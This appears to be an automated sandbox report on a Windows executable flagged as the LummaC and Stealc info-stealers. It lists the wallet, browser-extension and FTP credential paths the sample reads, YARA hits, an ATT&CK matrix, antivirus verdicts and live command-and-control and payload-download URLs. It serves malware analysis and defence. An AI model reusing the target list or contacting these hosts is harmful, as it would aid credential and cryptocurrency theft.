Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior

Source: Yara match	File source: 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2746855415.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2675743273.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2673832624.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2759012924.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZBbOXn0a3R.exe PID: 3224, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ZBbOXn0a3R.exe PID: 3224, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2988342509.0000000000631000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VJV6IQUTCE3IBMH3UJROT.exe PID: 6556, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	12 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	225 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	441 Virtualization/Sandbox Evasion	DCSync	441 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
ZBbOXn0a3R.exe	50%	ReversingLabs	Win32.Exploit.LummaC
ZBbOXn0a3R.exe	100%	Avira	TR/Crypt.XPACK.Gen
ZBbOXn0a3R.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/mine/random.exe_T	0%	Avira URL Cloud	safe
https://mindhandru.buzz/5	0%	Avira URL Cloud	safe
https://mindhandru.buzz:443/api	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apikt	0%	Avira URL Cloud	safe
https://mindhandru.buzz/pi	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpkE95	100%	Avira URL Cloud	malware
https://mindhandru.buzz/api3	0%	Avira URL Cloud	safe
http://185.215.113.206/ineer	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpOE	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpiF&	100%	Avira URL Cloud	malware
http://185.215.113.16/z	0%	Avira URL Cloud	safe
https://mindhandru.buzz:443/apical	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apit#?	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php/Y5	100%	Avira URL Cloud	malware
http://185.215.113.16:80/mine/random.exesoft	0%	Avira URL Cloud	safe
https://mindhandru.buzz/~	0%	Avira URL Cloud	safe
http://185.215.113.43/	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apia	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php#E	100%	Avira URL Cloud	malware
https://mindhandru.buzz/720LD	0%	Avira URL Cloud	safe
https://mindhandru.buzz/Y	0%	Avira URL Cloud	safe
https://mindhandru.buzz/c	0%	Avira URL Cloud	safe
http://185.215.113.16/m&	0%	Avira URL Cloud	safe
http://crl.microPm	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apiice	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpx	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeKT	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpi	100%	Avira URL Cloud	malware
https://mindhandru.buzz/A	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe?t	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/D	100%	Avira URL Cloud	malware
https://mindhandru.buzz/G	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exe%t	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	172.67.165.185	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
scentniej.buzz	false		high
http://185.215.113.43/Zu7JuNko/index.php	true	Avira URL Cloud: malware	unknown
hummskitnj.buzz	false		high
mindhandru.buzz	false		high
https://mindhandru.buzz/api	false		high
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
http://185.215.113.206/c4becf79229cb002.php	false		high
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
prisonyfork.buzz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/mine/random.exe_T	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/steam/random.exeoft	ZBbOXn0a3R.exe, 00000001.00000003.2912746408.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpZ	skotes.exe, 00000009.00000002.3399493778.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ineer	VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpOE	skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/5	ZBbOXn0a3R.exe, 00000001.00000003.2481917195.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exe	ZBbOXn0a3R.exe, ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi	ZBbOXn0a3R.exe, 00000001.00000003.2481917195.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpM	skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	ZBbOXn0a3R.exe, 00000001.00000003.2701685067.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/api	ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpkE95	skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/api3	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2675743273.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729840604.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2730150996.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/apikt	ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpiF&	VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/z	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	ZBbOXn0a3R.exe, 00000001.00000003.2676182524.00000000055C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	ZBbOXn0a3R.exe, 00000001.00000003.2675638781.00000000054DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apit#?	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729840604.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2730150996.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php/Y5	VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/apical	ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/~	ZBbOXn0a3R.exe, 00000001.00000003.2481917195.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/mine/random.exesoft	ZBbOXn0a3R.exe, 00000001.00000003.2912746408.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	ZBbOXn0a3R.exe, 00000001.00000003.2701685067.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	ZBbOXn0a3R.exe, 00000001.00000003.2701685067.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apia	ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729751740.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe	ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/	skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/	ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729751740.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php#E	skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/720LD	ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2675743273.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/apiice	ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/c	ZBbOXn0a3R.exe, 00000001.00000003.2729588387.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ZBbOXn0a3R.exe, 00000001.00000003.2676182524.00000000055C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/Y	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/	ZBbOXn0a3R.exe, ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2913106745.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpx	skotes.exe, 00000009.00000002.3399493778.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.microPm	ZBbOXn0a3R.exe, 00000001.00000003.2746855415.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481846606.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729588387.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2758907500.0000000000E85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/m&	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exeKT	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpi	skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206	VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/A	ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2675743273.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe?t	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php/D	VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exe%t	ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
